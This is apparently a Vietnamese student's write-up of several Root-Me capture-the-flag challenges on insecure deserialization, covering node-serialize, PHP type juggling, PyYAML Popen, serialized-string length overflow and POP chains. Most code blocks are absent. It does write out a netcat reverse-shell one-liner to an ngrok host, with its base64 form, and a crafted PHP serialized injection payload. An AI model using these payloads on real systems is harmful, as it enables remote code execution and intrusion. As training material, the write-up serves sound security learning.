Insecure Deserialization là một trong 10 lỗ hổng bảo mật OWASP phổ biến nhất. Lỗ hổng này xảy ra khi ứng dụng web không kiểm tra và xác thực dữ liệu được gửi đến từ bên ngoài trước khi tiến hành giải mã dữ liệu đó. Điều này có thể dẫn đến việc kẻ tấn công gửi đến ứng dụng các dữ liệu giả mạo, chứa các đoạn mã độc hại và khi ứng dụng giải mã dữ liệu đó, đoạn mã độc hại sẽ được thực thi.
List of Magic Methods in PHP:
Insecure Deserialization phát sinh khi ứng dụng web không kiểm tra và xác thực dữ liệu được gửi đến từ bên ngoài trước khi tiến hành giải mã dữ liệu đó. Điều này cho phép kẻ tấn công gửi đến ứng dụng các dữ liệu giả mạo, chứa các đoạn mã độc hại và khi ứng dụng giải mã dữ liệu đó, đoạn mã độc hại sẽ được thực thi.
Insecure Deserialization có thể gây ra những tác hại nghiêm trọng đối với ứng dụng và người dùng như sau:
Các cách phòng chống Insecure Deserialization bao gồm:
Link to chall: http://challenge01.root-me.org:59067/
Vào chall em nhận được 1 form login như sau:
Sau khi đăng nhập thì em sẽ được set cho 1 cookie chính là json của thông tin đăng nhập mà em nhập:
Sau đó em sẽ được chuyển hướng lại trang /
và tại đây cookie của em sẽ được check.
Và dĩ nhiên là không đúng rùi :<
Nhưng dựa theo tên bài là Node serialize em search về node serialize và tìm được 1 số bài khá thú vị: https://blog.websecurify.com/2017/02/hacking-node-serialize và https://exploit-notes.hdks.org/exploit/web/security-risk/nodejs-deserialization-attack/
Từ đây em tìm được payload để reverse shell và bus luôn
Payload to reverse shell:
Send request có chứa cookie trên đã được base64-encode và url-encode:
Đã reverse shell thành công giờ chỉ cần tìm file flag và lấy nó thoii:
Link to chall: http://challenge01.root-me.org/web-serveur/ch28/index.php
Vào chall em được cho 1 form login và source code:
Source:
Đăng nhập thử với tài khoản guest em nhận được và tích vào ô Autologin next time em sẽ nhận được 1 cookie
Cookie này sẽ lưu tên đăng nhập và mật khẩu (đã được hash) của em.
Dựa trên việc cookie được deserialize một cách k an toàn em có thể sửa đổi giá trị của cookie:
Thay đổi giá trị của trường login từ guest
thành superadmin
:
Nhưng như vậy vẫn chưa đủ vì:
Ứng dụng vẫn còn check cả password. Nhưng ở đây là lại so sánh ==
nên em có thể bypass so sánh chuỗi password với giá trị boolean True:
Thêm cookie trên vào trình duyệt và load lại trang, và thế là em đã có flag:
Link to chall: http://challenge01.root-me.org:59071/eWFtbDogV2UgYXJlIGN1cnJlbnRseSBpbml0aWFsaXppbmcgb3VyIG5ldyBzaXRlICEg
YAML là viết tắt của Yet Another Markup Language. Wikipedia định nghĩa YAML là “ngôn ngữ tuần tự hóa dữ liệu mà con người có thể đọc được. Nó thường được sử dụng cho các tệp cấu hình và trong các ứng dụng lưu trữ hoặc truyền dữ liệu.” Nó sử dụng cả hai kiểu thụt lề kiểu Python để biểu thị lồng nhau và một định dạng nhỏ gọn hơn sử dụng []
cho list và {}
cho maps.
Ví dụ:
Sau khi được serialize:
Sau khi tham khảo vài bài trên mạng em đã có payload sau (sử dụng Popen CVE-2017-18342):
Base64 encode payload trên và gửi request:
Và em nhận được request bên Collaborator:
Hoặc có thể dùng payload sau để rce:
Với cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL2Jhc2ggLWkgMj4mMXxuYyAwLnRjcC5hcC5uZ3Jvay5pbyAxMDU2MCA+L3RtcC9m
là payload reverse shell rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 0.tcp.ap.ngrok.io 10560 >/tmp/f
Gửi payload và em đã reverse shell thành công:
Link to chall: http://challenge01.root-me.org/web-serveur/ch65/
Khi vào chall em nhận được 1 form đăng nhập:
Nhập thử thông tin bất kỳ web đều trả về: Invalid username or password.
Vậy nên phải xem source code thui:
Đọc qua source code thì có những điều cần chú ý sau:
Class User có các thuộc tính protected: $_username, $_password, $_logged, $_email.
Trong lập trình hướng đối tượng, protected là một trong ba từ khóa (modifiers) truy cập trong các thuộc tính và phương thức của một lớp (class). Khi một thuộc tính hoặc phương thức được khai báo là protected, nó chỉ có thể được truy cập từ bên trong lớp đó hoặc các lớp kế thừa từ lớp đó, nhưng không được truy cập từ bên ngoài lớp đó.
Hàm storeUserSession() thực hiện serialize username và password, sau đó replace null_byte*null_byte
thành \0\0\0
và cập nhập $_SESSION['user']
thành giá trị đã được replace.
Hàm getUserSession() thực hiện kiểm tra isset($_SESSION['user'])
nếu tồn tại thì gán biến $data
bằng $_SESSION['user']
và replace \0\0\0
thành null_byte*null_byte
, sau đó thực hiện unserialize. Còn nếu như $_SESSION['user']
chưa được set thì sẽ tạo user mới với username là guest
và password là null
. Cuối cùng return object $user
Để có được flag thì isLogged
phải là True. Để làm được việc này ta cần nhập username là admin
và nhập password sao cho để khi hash sha512 phải ra b3b7b663909f8e9b4e2a581337159e8a5e468c088ec802cb99a027c1dcbefb7d617fcab66ab4402d4617cde33f7fce93ae3c4e8f77aec2bb5f8c7c8aec3bbc82
. Điều này có vẻ bất khả thi vả lại cũng không đúng ý của tác giả.
Dựa theo blog này: https://blog.hacktivesecurity.com/index.php/2019/10/03/rusty-joomla-rce/ khi serialized, null_byte*null_byte
sẽ đứng trước thuộc tính protected. Đó là lý do tại sao có hàm replace null_byte*null_byte
->\0\0\0
Ví dụ em nhập giá trị cho username
là \0\0\0
, thì serialize thuộc tính username
sẽ có số byte là 6. Nhưng sau khi được lưu vào session và được unserialize thì \0\0\0
sẽ được replace null_byte*null_byte
tức là chỉ 3 byte, mà trong khi giá trị serialized vẫn đang định nghĩa là 6 bytes nên nó bắt buộc phải lấy tiếp những byte tiếp theo sau giá trị của nó (trong trường hợp này là những byte định nghĩa cho thuộc tính password
), dẫn đến lỗi overflow xảy ra.
-> Và thế là em có thể ghi lại giá trị của $_logged
(isLogged
) thành True
Ý tưởng sẽ là truyền \0\0\0
vào username
sao cho sau khi thay thế nó sẽ chiếm thêm một số lượng byte, số lượng byte này là hợp lí để lấy luôn phần đầu password
. Sau đó trong phần password chúng ta sẽ sửa để định nghĩa các thuộc tính _password, _logged và _email với giá trị chúng ta mong muốn, ở đây có một lứu ý là chúng ta phải tính toán và set length cho email sao cho nó chứa cả đoạn thừa ra của đuôi password
, _logged
và _email
.
Username: \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
Password: "%3b"%3bs%3a12%3a"%00*%00_password"%3bs%3a3%3a"123"%3bs%3a10%3a"%00*%00_logged"%3bb%3a1%3bs%3a9%3a"%00*%00_email"%3bs%3a44%3a
Dữ liệu đã được serialize:
O:4:"User":4:{s:12:"*_username";s:60:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:12:"*_password";s:77:"";";s:12:"*_password";s:3:"123";s:10:"*_logged";b:1;s:9:"*_email";s:44:";s:10:"*_logged";b:0;s:9:"*_email";s:0:"";}
Dữ liệu đã được replace từ null_byte*null_byte
sang \0\0\0
:
O:4:"User":4:{s:12:"\0\0\0_username";s:60:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:12:"\0\0\0_password";s:77:"";";s:12:"\0\0\0_password";s:3:"123";s:10:"\0\0\0_logged";b:1;s:9:"\0\0\0_email";s:44:";s:10:"\0\0\0_logged";b:0;s:9:"\0\0\0_email";s:0:"";}
Dữ liệu đã được replace từ \0\0\0
sang null_byte*null_byte
:
O:4:"User":4:{s:12:"*_username";s:60:"**********";s:12:"*_password";s:77:"";";s:12:"*_password";s:3:"123";s:10:"*_logged";b:1;s:9:"*_email";s:44:";s:10:"*_logged";b:0;s:9:"*_email";s:0:"";}
Dữ liệu sau khi đã được unserialize:
Đăng nhập với thông tin đăng nhập trên để nhận session sau đó vào lại trang web với session trên để lấy flag:
Link to chall: http://challenge01.root-me.org/web-serveur/ch75/
POP là viết tắt của Property Oriented Programming và cái tên này xuất phát từ thực tế là kẻ tấn công có thể kiểm soát tất cả các thuộc tính của đối tượng được unserialize. Tương tự như các cuộc tấn công ROP (Return Oriented Programming), chuỗi POP hoạt động bằng cách xâu chuỗi các “gadgets” mã với nhau để đạt được mục đích cuối cùng của kẻ tấn công. Những “gadgets” này là các đoạn mã mượn từ codebase mà kẻ tấn công sử dụng để đạt được mục đích của mình.
Vào chall em được cho một form textarea
, button submit
và source code:
Form trên sẽ $_POST["data"]
lên server và server sẽ unserialize data đó:
Flag được nằm trong magic method __destruct()
của class GetMessage
Trong PHP, __destruct() là một phương thức đặc biệt trong lập trình hướng đối tượng được gọi tự động khi một đối tượng được giải phóng khỏi bộ nhớ, hoặc khi không có biến nào tham chiếu đến đối tượng đó nữa.
Để có được flag thì biến $getflag
phải bằng True, giá trị của receive
phải bằng HelloBooooooy
Để có được giá trị của receive
là HelloBooooooy
, nếu tạo giá trị của receive
bằng HelloBooooooy
ngay từ đầu thì khi class được khởi tạo, magic method __construct()
sẽ được gọi và check giá trị của receive
nếu thấy nó bằng HelloBooooooy
sẽ die
chương trình luôn. Nên giá trị HelloBooooooy
phải được gán vào biến receive
sau khi biến receive
được tạo.
Trong PHP, __construct() là một phương thức đặc biệt trong lập trình hướng đối tượng được gọi tự động khi một đối tượng được tạo ra từ một class.
Để có được giá trị của $getflag
là True thì magic method __toString()
phải được gọi.
Trong PHP, __toString() là một phương thức đặc biệt trong lập trình hướng đối tượng được sử dụng để định nghĩa cách đối tượng được chuyển đổi thành một chuỗi.
Mà để biến $this->msg
được ép kiểu thành string thì em lại có trong magic method __wakeup()
:
Trong PHP, __wakeup() là một phương thức đặc biệt sẽ được gọi tự động khi một đối tượng được unserialize.
Sau nhiều bế tắc em đã tham khảo bài https://github.com/caodchuong312/KCSC-Training/tree/main/task11 và có script:
Sửa lại class GetMessage
vì khi tạo payload ta chỉ cần có thuộc tính receive
trong class GetMessage
:
Sửa lại class WakyWaky
để khi class được khởi tạo (__construct()
) nó sẽ gán giá trị cho thuộc tính msg
bằng msg
được truyền:
Khởi tạo class GetMessage
với giá trị something
:
Để bypass check __construct()
ở class GetMessage
:
Gán giá trị cho thuộc tính receive=HelloBooooooy
:
Để bypass điều kiện kiểm tra trong hàm __destruct()
:
Khởi tạo class WakyWaky
lần 1 và truyền vào class $first
(class GetMessage
):
Khởi tạo class WakyWaky
lần 2 và truyền vào class$second
(class WakyWaky
):
Mục đích của việc khởi tạo 2 lần là để $setflag = true
(gọi hàm __toString()
):
Lần thứ nhất được tạo để define thuộc tín msg
, lần thứ 2 được gọi để dựa vào hàm echo "[YOU]: ".$this->msg."<br>";
sẽ ép kiểu thuộc tính msg
thành string và từ đó gọi hàm __toString()
Cuối cùng là serialize()
payload trên lại:
Em có payload:
Submit payload trên và lấy flag thoii:
Source code:
Vào lab chẳng có gì, có mỗi view source:
Sau khi đọc source ta biết là website GET param data
và unserialize()
nó.
Có một hàm rất nguy hiểm được sử dụng đó là hàm system()
thậm chí đối số của hàm system()
lại còn do chúng ta kiểm soát nên last gadget sẽ là hàm exe()
này:
Hàm exe()
này được gọi bởi magic method __get()
Em sẽ sử dụng hàm getAge()
để trigger hàm __get()
khi gán $age = new Execute(...)
thì lúc này $this->age->trigger
-> Execute(...)->trigger
Hàm
__get()
này sẽ được tự động thực hiện khi gọi một thuộc tính hoặc phương thức không tồn tại trong class đó.
Hàm getAge()
được gọi thông qua hàm __toString()
Hàm
__toString
được tự động gọi khi class đó được "ép kiểu" sang string bằng các hàm như echo, pre
Để trigger hàm __toString()
em gán WakeUp()->name = new WakeUp()
để khi hàm echo "Hello".$this->name
thì class WakeUp sẽ được "ép kiểu" thành string để nối chuỗi.
Vậy nên hàm __wakeup()
là sẽ first gadget, nó được gọi khi $data
được được unserialize()
Em có script:
Payload cuối cùng:
Up file shell.php thành công việc cần làm giờ là đọc file flag thui: